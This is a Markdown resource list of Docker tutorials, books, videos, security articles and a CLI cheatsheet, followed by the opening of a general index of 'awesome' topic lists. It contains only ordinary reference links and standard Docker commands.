- [Become a Docker Power User with Visual Studio Code](https://www.thebyte.io/become-docker-power-user-with-vs-code) - :heavy_dollar_sign: A training course to help you become a Docker Power user with Visual Studio Code
- [Cloud Native Landscape](https://github.com/cncf/landscape)
- [Docker Blog](https://www.docker.com/blog/) - regular updates about Docker, the community and tools
- [Docker Certification](https://intellipaat.com/docker-training-course/?US) :heavy_dollar_sign: will help you to will Learn Docker containerization, running Docker containers, Image creation, Dockerfile, Docker orchestration, security best practices, and more through hands-on projects and case studies and helps to clear Docker Certified Associate.
- [Docker Community on Hashnode](https://hashnode.com/n/docker)
- [Docker dev bookmarks](https://www.codever.dev/search?q=docker) - use the tag [docker](https://www.codever.dev/bookmarks/t/docker)
- [Docker in Action, Second Edition](https://www.manning.com/books/docker-in-action-second-edition)
- [Docker in Practice, Second Edition](https://www.manning.com/books/docker-in-practice-second-edition)
- [Docker packaging guide for Python](https://pythonspeed.com/docker/) - a series of detailed articles on the specifics of Docker packaging for Python.
- [Learn Docker in a Month of Lunches](https://www.manning.com/books/learn-docker-in-a-month-of-lunches)
- [Learn Docker](https://coursesity.com/blog/best-docker-tutorials/) - Learn Docker - curated list of the top online docker tutorials and courses.
- [Programming Community Curated Resources for learning Docker](https://hackr.io/tutorials/learn-docker)
## Awesome Lists
- [Awesome CI/CD](https://github.com/cicdops/awesome-ciandcd) - Not specific to docker but relevant.
- [Awesome Compose](https://github.com/docker/awesome-compose) - Docker Compose samples
- [Awesome Kubernetes](https://github.com/ramitsurana/awesome-kubernetes) by [@ramitsurana][ramitsurana]
- [Awesome Linux Container](https://github.com/Friz-zy/awesome-linux-containers) more general about container than this repo, by [@Friz-zy](https://github.com/Friz-zy).
- [Awesome Selfhosted](https://github.com/awesome-selfhosted/awesome-selfhosted) list of Free Software network services and web applications which can be hosted locally by running in a classical way (setup local web server and run applications from there) or in a Docker container. By [@Kickball](https://github.com/Kickball)
- [Awesome Sysadmin](https://github.com/n1trux/awesome-sysadmin) by [@n1trux](https://github.com/n1trux)
- [ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade) a list of SaaS and On premise applications by [@cjbarber](https://github.com/cjbarber)
## Demos and Examples
- [An Annotated Docker Config for Frontend Web Development](https://nystudio107.com/blog/an-annotated-docker-config-for-frontend-web-development) A local development environment with Docker allows you to shrink-wrap the devops your project needs as config, making onboarding frictionless.
- [Local Docker DB](https://github.com/alexmacarthur/local-docker-db) a list of docker-compose samples for a lot of databases by [@alexmacarthur](https://github.com/alexmacarthur)
- [Webstack-micro](https://github.com/ferbs/webstack-micro) Demo web app showing how Docker Compose might be used to set up an API Gateway, centralized authentication, background workers, and WebSockets as containerized services.
## Good Tips
- [Docker Caveats](http://docker-saigon.github.io/post/Docker-Caveats/) What You Should Know About Running Docker In Production (written 11 APRIL 2016) **MUST SEE**
- [Docker Containers on the Desktop](https://blog.jessfraz.com/post/docker-containers-on-the-desktop/) - The **funniest way** to learn about docker by [@jessfraz][jessfraz] who also gave a [presentation](https://www.youtube.com/watch?v=1qlLUf7KtAw) about it @ DockerCon 2015
- [Docker vs. VMs? Combining Both for Cloud Portability Nirvana](https://www.flexera.com/blog/cloud/docker-vs-vms-combining-both-for-cloud-portability-nirvana/)
- [Dockerfile best practices](https://github.com/hexops/dockerfile) - This repository has best-practices for writing Dockerfiles
- [Don't Repeat Yourself with Anchors, Aliases and Extensions in Docker Compose Files](https://medium.com/@kinghuang/docker-compose-anchors-aliases-extensions-a1e4105d70bd) by [@King Chung Huang](https://github.com/kinghuang)
- [GUI Apps with Docker](http://fabiorehm.com/blog/2014/09/11/running-gui-apps-with-docker/) by [@fgrehm][fgrehm]
## Raspberry Pi & ARM
- [Docker Pirates ARMed with explosive stuff](https://blog.hypriot.com/) Huge resource on clustering, swarm, docker, pre-installed image for SD card on Raspberry Pi
- [Get Docker up and running on the RaspberryPi in three steps](https://github.com/umiddelb/armhf/wiki/Get-Docker-up-and-running-on-the-RaspberryPi-%28ARMv6%29-in-three-steps)
- [git push docker containers to linux devices](https://www.balena.io) Modern DevOps for IoT, leveraging git and Docker.
- [Installing, running, using Docker on armhf (ARMv7) devices](https://github.com/umiddelb/armhf/wiki/Installing,-running,-using-docker-on-armhf-%28ARMv7%29-devices)
## Security
- [Bringing new security features to Docker](https://opensource.com/business/14/9/security-for-docker)
- [CVE Scanning Alpine images with Multi-stage builds in Docker 17.05](https://github.com/tomwillfixit/alpine-cvecheck) by [@tomwillfixit](https://twitter.com/tomwillfixit)
- [Docker Secure Deployment Guidelines](https://github.com/AonCyberLabs/Docker-Secure-Deployment-Guidelines)
- [Docker Security - Quick Reference](https://binarymist.io/publication/docker-security/)
- [Docker Security: Are Your Containers Tightly Secured to the Ship? SlideShare](https://fr.slideshare.net/MichaelBoelen/docker-security-are-your-containers-tightly-secured-to-the-ship)
- [How CVE's are handled on Offical Docker Images](https://github.com/docker-library/official-images/issues/1448)
- [Lynis is an open source security auditing tool including Docker auditing](https://cisofy.com/lynis/)
- [Security Best Practices for Building Docker Images](https://linux-audit.com/tag/docker/)
- [Software Engineering Radio interview of Docker Security Team Lead (Diogo Mónica)](https://www.se-radio.net/2017/05/se-radio-episode-290-diogo-monica-on-docker-security/)
- [Ten Docker Image Security Best Practices Cheat Sheet](https://snyk.io/blog/10-docker-image-security-best-practices/)
- [Top ten most popular docker images each contain at least 30 vulnerabilities](https://snyk.io/blog/top-ten-most-popular-docker-images-each-contain-at-least-30-vulnerabilities/)
- [Tuning Docker with the newest security enhancements](https://opensource.com/business/15/3/docker-security-tuning)
- [10 best practices to containerize Node.js web applications with Docker](https://snyk.io/blog/10-best-practices-to-containerize-nodejs-web-applications-with-docker/)
## Videos
- [Contributing to Docker by Andrew "Tianon" Page (InfoSiftr)](https://www.youtube.com/watch?v=1jwo8-1HYYg) (34:31)
- [Deploying and scaling applications with Docker, Swarm, and a tiny bit of Python magic](https://www.youtube.com/watch?v=GpHMTR7P2Ms) (3:11:06) by [@jpetazzo][jpetazzo]
- [Docker and SELinux by Daniel Walsh from Red Hat](https://www.youtube.com/watch?v=zWGFqMuEHdw) (40:23)
- [Docker Course](https://www.youtube.com/watch?v=UZpyvK6UGFo) (Spanish) by [@pablokbs](https://github.com/pablokbs)
- [Docker for Developers](https://www.youtube.com/watch?v=FdkNAjjO5yQ) (54:26) by [@jpetazzo][jpetazzo] <== Good introduction, context, demo
- [Docker from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxD-btrjrqdEfQHbkZnQrmqE) (1:22:01) on YouTube by Paris Nakita Kejser
- [Docker: How to Use Your Own Private Registry](https://www.youtube.com/watch?v=CAewZCBT4PI) (15:01)
- [Docker in Production](https://www.youtube.com/watch?v=Glk5d5WP6MI) by [@jpetazzo][jpetazzo] (36:05)
- [Docker Primer to Docker Compose](https://www.youtube.com/watch?v=G-s2GXGAjTk) (1:56:45) on YouTube by LoginRadius
- [Docker Registry from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxAz3d4Fj3edq7UcxEhdTCBm) (44:40) on YouTube by Paris Nakita Kejser
- [Docker Swarm from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxAY4gZd1Wl-GsLvg-e9Ap1e) (1:41:28) on YouTube by Paris Nakita Kejser
- [Extending Docker with Plugins](https://vimeo.com/110835013) (15:21)
- [From Local Docker Development to Production Deployments](https://www.youtube.com/watch?v=7CZFpHUPqXw) by [@jpetazzo][jpetazzo] @ AWS re:Invent 2015
- [Immutable Infrastructure with Docker and EC2 by Michael Bryzek (Gilt)](https://www.youtube.com/watch?v=GaHzdqFithc) (42:04)
- [Introduction to Docker and containers](https://www.youtube.com/watch?v=ZVaRK10HBjo) (3:09:00) by [@jpetazzo][jpetazzo]
- [Logging on Docker: What You Need to Know](https://vimeo.com/123341629) (51:27)
- [Performance Analysis of Docker - Jeremy Eder](https://www.youtube.com/watch?v=6f2E6PKYb0w) (1:36:58)
- [Scalable Microservices with Kubernetes](https://www.udacity.com/course/scalable-microservices-with-kubernetes--ud615) Free Udacity course
- [State of containers: a debate with CoreOS, VMware and Google](https://www.youtube.com/watch?v=IiITP3yIRd8) (27:38)
- [List of online courses (free and paid) about Docker](https://skillcombo.com/topic/docker/)
### Resouces
| TITILE | RESOURCE LINK |
| ------------- | ------------- |
| Docker Volume & Docker network for DevOps Engineers | https://mahbubur.hashnode.dev/19docker-volume-docker-network-for-devops-engineers-day-19 | t/
| Containers vs. Pods - Taking a Deeper Look | https://iximiuz.com/en/posts/containers-vs-pods/ |
| Top 6 tips for Docker Image Optimization | https://medium.com/@fatimamaryamrauf/top-5-tips-for-docker-image-optimization-3ba4e25557fb |
| How to Build Docker Image : Comprehensive Beginners Guide | https://devopscube.com/build-docker-image/ |
| Working with Docker Images - Explained with Examples | [Working with Docker Images - Explained with Examples](https://www.learnitguide.net/2018/06/working-with-docker-images-explained.html?amp=1) |
| Donating Docker Distribution to the CNCF | https://www.docker.com/blog/donating-docker-distribution-to-the-cncf/ |
| Configuration of Webserver and setting Python environment on the Docker | https://suman15.medium.com/configuration-of-webserver-and-setting-python-environment-on-the-docker-df38db7b3cc4 |
| The life cycle of a container | https://www-learnsteps-com.cdn.ampproject.org/c/s/www.learnsteps.com/the-life-cycle-of-a-container/amp/ |
| How to Name or Rename Docker Containers | https://www.tecmint.com/name-docker-containers/ |
| 4 Reasons Why Your Docker Containers Can't Talk to Each Other | https://maximorlov.com/4-reasons-why-your-docker-containers-cant-talk-to-each-other/ |
| Graceful Shutdowns for containerized Spring Boot applications | https://dev.to/niksta/graceful-shutdowns-for-containerized-spring-boot-applications-5a8n |
| Dockerize your Next.js application on Spheron Compute | https://dev.to/davidsalexande3/dockerize-your-nextjs-application-on-spheron-compute-2l48 |
| Supercharging AI/ML Development with JupyterLab and Docker | https://www.docker.com/blog/supercharging-ai-ml-development-with-jupyterlab-and-docker/ |
| Conversational AI Made Easy: Developing an ML FAQ Model Demo from Scratch Using Rasa and Docker | https://www.docker.com/blog/developing-using-rasa-and-docker/ |
| Kubernetes CRUD Operation using Go on Docker Desktop | https://dev.to/docker/kubernetes-crud-operation-using-go-on-docker-desktop-3l6a |
| Telegraf Deployment Strategies with Docker Compose | https://dev.to/shandesai/telegraf-deployment-strategies-with-docker-compose-5chl | Ship smaller Docker images - Best practices | https://dev.to/shandesai/telegraf-deployment-strategies-with-docker-compose-5chl |
### Articles
Name | Comments
:------ |:--------:
[Docker CheatSheet](https://cheatsheet.dennyzhang.com/cheatsheet-docker-a4) |
[Everything you need to know about containers](https://medium.com/faun/everything-you-need-to-know-about-containers-7655badb4307) |
[A container networking overview](https://jvns.ca/blog/2016/12/22/container-networking) |
[My Docker Cheat Sheet](https://medium.com/statuscode/dockercheatsheet-9730ce03630d) |
[Docker Networking Deep Dive](http://100daysofdevops.com/21-days-of-docker-day-19-docker-networking-deep-dive/?fbclid=IwAR19KJWwhZjulbn7JNbBYLFxKFf-x0v25TSc-_bOJ6YieUND4A6UZcBSUhA) |
### Cheatsheet
* Stop and remove all containers: `docker container stop $(docker container ls -aq)`
* Check how many containers are running: `docker info`
* Check the docker images on your system: `docker images`
* Cleanup everything: `docker system prune -a -f`
#### Managing Containers
* Launch a container and attach to it: `docker container run -it ubuntu:latest /bin/bash`
* Run a command in the container: `docker exec -it <container ID/name> <commands>`
* Attaching to running container: `docker container exec -it <name> bash`
* List running containers: `docker container ls`
* List all containers (including stopped): `docker container ls -a`
* List containers (including stopped): `docker container ls -a`
* Stop a container: `docker container stop <name>`
* Remove a container: `docker container rm <name>`
* Remove all containers: `docker container rm $(docker container ls -aq) -f`
* Create, start, run command and destroy the container: `docker run --rm -it <image> <command>`
#### Images
* List images: `docker image ls`
* Pull image: `docker image pull <name>:<tag>`
* List only images tagged as "latest": `docker image ls --filter=reference="*:latest"`
* List dangling images: `docker image ls --filter dangling=true`
* Which default registry is used: `docker info`
* List supported image architectures: `docker manifest inspect golang | grep 'architecture\|os'`
* Search all repositories that contain the string 'yay': `docker search yay`
* Search only for official repositories: `docker search <name> --filter "is-official=true"`
* Build an image: `docker image build -t <name>:<tag> .`
* List images with the following data: name, tag and size: `docker image ls --format "{{.Repository}}: {{.Tag}}: {{.Size}}"`
* List images with their digests: `docker image ls --digests`
* Specify architecture when building an image: `docker buildx build --platform linux/arm/v1985 -t some_image:arm-v1985 .`
* Delete an image: `docker image rm <name or ID>:<tag>`
* Remove all images: `docker image rm $(docker image ls -q) -f`
* Tag an image: `docker tag <image name>:<tag> <repo>/<image>:<tag>`
* Push an image: `docker push <repo>/<image>:<tag>`
* Save a running container as an image: `docker commit -m "some commit message" -a "author name/username" <container ID/name> <username>/<image name>:<tag>`
#### Logs
* Print the last 100 lines from container's logs: `docker container logs --tail 100 <container name/ID>`
* Follow container logs: `docker logs -ft <container ID/name>`
#### Network
* List networks: `docker network ls`
#### Compose
* Deploy compose app: `docker-compose up`
* Stop and delete a running Compose app: `docker-compose down`
* Restart a Compose app: `docker-compose restart`
* List each container in the Compose app: `docker-compose ps`
* Stop all of the container in Compose app: `docker-compose stop`
* Delete a stopped Compose app: `docker-compose rm`
If you have any additional resources or links that you believe would benefit others, please feel free to contribute. Our goal is to create a repository of the best learning materials, ensuring everyone has access to top-notch content.
We appreciate your visit to this repository. If you find our initiatives valuable, kindly star this repository to show your support.
Thank you once again, and happy learning!
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<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
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<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme)
- [Xamarin](https://github.com/benoitjadinon/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme)
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/bfred-it/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme)
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/isRuslan/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme)
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme)
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/rizo/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme)
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi#readme)
- [Assembler](https://github.com/jaspergould/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme)
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/gdi2290/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme)
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme)
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/nmec/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/behzad888/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/hyperapp/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme)
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme)
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme)
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme)
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme)
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme)
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
## Big Data
